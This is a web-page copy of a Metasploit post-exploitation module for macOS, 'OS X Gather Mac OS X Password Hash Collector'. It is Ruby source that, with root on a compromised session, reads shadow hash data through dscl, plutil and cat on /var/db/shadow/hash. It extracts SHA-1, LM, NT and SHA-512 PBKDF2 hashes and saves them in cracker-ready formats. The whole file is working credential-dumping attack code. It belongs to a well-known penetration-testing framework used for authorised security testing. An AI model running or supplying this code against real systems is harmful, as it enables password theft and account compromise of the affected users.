Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/osx/gather/hashdump.rb
23700 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rexml/document'
7
8
class MetasploitModule < Msf::Post
9
# set of accounts to ignore while pilfering data
10
# OSX_IGNORE_ACCOUNTS = ["Shared", ".localized"]
11
12
include Msf::Post::File
13
include Msf::Post::OSX::Priv
14
include Msf::Post::OSX::System
15
include Msf::Auxiliary::Report
16
17
def initialize(info = {})
18
super(
19
update_info(
20
info,
21
'Name' => 'OS X Gather Mac OS X Password Hash Collector',
22
'Description' => %q{
23
This module dumps SHA-1, LM, NT, and SHA-512 Hashes on OSX. Supports
24
versions 10.3 to 10.14.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'Carlos Perez <carlos_perez[at]darkoperator.com>',
29
'hammackj <jacob.hammack[at]hammackj.com>',
30
'joev'
31
],
32
'Platform' => [ 'osx' ],
33
'SessionTypes' => %w[shell meterpreter],
34
'Notes' => {
35
'Stability' => [CRASH_SAFE],
36
'SideEffects' => [],
37
'Reliability' => []
38
},
39
'References' => [
40
[ 'ATT&CK', Mitre::Attack::Technique::T1003_OS_CREDENTIAL_DUMPING ]
41
]
42
)
43
)
44
register_options([
45
OptRegexp.new('MATCHUSER', [
46
false,
47
'Only attempt to grab hashes for users whose name matches this regex'
48
])
49
])
50
end
51
52
def run
53
unless is_root?
54
fail_with(Failure::BadConfig, 'Insufficient Privileges: must be running as root to dump the hashes')
55
end
56
57
# iterate over all users
58
get_nonsystem_accounts.each do |user_info|
59
user = user_info['name']
60
next if datastore['MATCHUSER'].present? && datastore['MATCHUSER'] !~ (user)
61
62
print_status "Attempting to grab shadow for user #{user}..."
63
if gt_lion? # 10.8+
64
# pull the shadow from dscl
65
shadow_bytes = grab_shadow_blob(user)
66
next if shadow_bytes.blank?
67
68
# on 10.8+ ShadowHashData stores a binary plist inside of the user.plist
69
# Here we pull out the binary plist bytes and use built-in plutil to convert to xml
70
plist_bytes = shadow_bytes.split('').each_slice(2).map { |s| "\\x#{s[0]}#{s[1]}" }.join
71
72
# encode the bytes as \x hex string, print using bash's echo, and pass to plutil
73
shadow_plist = cmd_exec("/bin/bash -c 'echo -ne \"#{plist_bytes}\" | plutil -convert xml1 - -o -'")
74
75
# read the plaintext xml
76
shadow_xml = REXML::Document.new(shadow_plist)
77
78
# parse out the different parts of sha512pbkdf2
79
dict = shadow_xml.elements[1].elements[1].elements[2]
80
entropy = Rex::Text.to_hex(dict.elements[2].text.gsub(/\s+/, '').unpack('m*')[0], '')
81
iterations = dict.elements[4].text.gsub(/\s+/, '')
82
salt = Rex::Text.to_hex(dict.elements[6].text.gsub(/\s+/, '').unpack('m*')[0], '')
83
84
# PBKDF2 stored in <iterations, salt, entropy> format
85
decoded_hash = "$ml$#{iterations}$#{salt}$#{entropy}"
86
report_hash('SHA-512 PBKDF2', decoded_hash, user)
87
elsif lion? # 10.7
88
# pull the shadow from dscl
89
shadow_bytes = grab_shadow_blob(user)
90
next if shadow_bytes.blank?
91
92
# on 10.7 the ShadowHashData is stored in plaintext
93
hash_decoded = shadow_bytes.downcase
94
95
# Check if NT HASH is present
96
if hash_decoded =~ /4f1010/
97
report_hash('NT', hash_decoded.scan(/^\w*4f1010(\w*)4f1044/)[0][0], user)
98
end
99
100
# slice out the sha512 hash + salt
101
# original regex left for historical purposes. During testing it was discovered that
102
# 4f110200 was also a valid end. Instead of looking for the end, since its a hash (known
103
# length) we can just set the length
104
# sha512 = hash_decoded.scan(/^\w*4f1044(\w*)(080b190|080d101e31)/)[0][0]
105
sha512 = hash_decoded.scan(/^\w*4f1044(\w{136})/)[0][0]
106
report_hash('SHA-512', sha512, user)
107
else # 10.6 and below
108
# On 10.6 and below, SHA-1 is used for encryption
109
guid = if gte_leopard?
110
cmd_exec("/usr/bin/dscl localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp
111
elsif lte_tiger?
112
cmd_exec("/usr/bin/niutil -readprop . /users/#{user} generateduid").chomp
113
end
114
115
# Extract the hashes
116
sha1_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c169-216").chomp
117
nt_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c1-32").chomp
118
lm_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c33-64").chomp
119
120
# Check that we have the hashes and save them
121
if sha1_hash !~ /0000000000000000000000000/
122
report_hash('SHA-1', sha1_hash, user)
123
end
124
if nt_hash !~ /000000000000000/
125
report_hash('NT', nt_hash, user)
126
end
127
if lm_hash !~ /0000000000000/
128
report_hash('LM', lm_hash, user)
129
end
130
end
131
end
132
end
133
134
private
135
136
# @return [Bool] system version is at least 10.5
137
def gte_leopard?
138
ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i >= 5
139
end
140
141
# @return [Bool] system version is at least 10.8
142
def gt_lion?
143
ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i >= 8
144
end
145
146
# @return [String] hostname
147
def host
148
session.session_host
149
end
150
151
# @return [Bool] system version is 10.7
152
def lion?
153
ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i == 7
154
end
155
156
# @return [Bool] system version is 10.4 or lower
157
def lte_tiger?
158
ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i <= 4
159
end
160
161
# parse the dslocal plist in lion
162
def read_ds_xml_plist(plist_content)
163
doc = REXML::Document.new(plist_content)
164
keys = []
165
doc.elements.each('plist/dict/key') { |n| keys << n.text }
166
167
fields = {}
168
i = 0
169
doc.elements.each('plist/dict/array') do |element|
170
data = []
171
fields[keys[i]] = data
172
element.each_element('*') do |thing|
173
data_set = thing.text
174
if data_set
175
data << data_set.gsub("\n\t\t", '')
176
else
177
data << data_set
178
end
179
end
180
i += 1
181
end
182
return fields
183
end
184
185
# reports the hash info to metasploit backend
186
def report_hash(type, hash, user)
187
return unless hash.present?
188
189
print_good("#{type}:#{user}:#{hash}")
190
case type
191
when 'NT'
192
private_data = "#{Metasploit::Credential::NTLMHash::BLANK_LM_HASH}:#{hash}"
193
private_type = :ntlm_hash
194
jtr_format = 'ntlm'
195
when 'LM'
196
private_data = "#{hash}:#{Metasploit::Credential::NTLMHash::BLANK_NT_HASH}"
197
private_type = :ntlm_hash
198
jtr_format = 'lm'
199
when 'SHA-512 PBKDF2'
200
private_data = hash
201
private_type = :nonreplayable_hash
202
jtr_format = 'PBKDF2-HMAC-SHA512'
203
when 'SHA-512'
204
private_data = hash
205
private_type = :nonreplayable_hash
206
jtr_format = 'xsha512'
207
when 'SHA-1'
208
private_data = hash
209
private_type = :nonreplayable_hash
210
jtr_format = 'xsha'
211
end
212
create_credential(
213
jtr_format: jtr_format,
214
workspace_id: myworkspace_id,
215
origin_type: :session,
216
session_id: session_db_id,
217
post_reference_name: refname,
218
username: user,
219
private_data: private_data,
220
private_type: private_type
221
)
222
print_status('Credential saved in database.')
223
end
224
225
# @return [String] containing blob for ShadowHashData in user's plist
226
# @return [nil] if shadow is invalid
227
def grab_shadow_blob(user)
228
shadow_bytes = cmd_exec("dscl . read /Users/#{user} dsAttrTypeNative:ShadowHashData").gsub(/\s+/, '')
229
return nil unless shadow_bytes.start_with? 'dsAttrTypeNative:ShadowHashData:'
230
231
# strip the other bytes
232
shadow_bytes.sub!(/^dsAttrTypeNative:ShadowHashData:/, '')
233
end
234
235
# @return [String] version string (e.g. 10.8.5)
236
def ver_num
237
@ver_num ||= get_sysinfo['ProductVersion']
238
end
239
end
240
241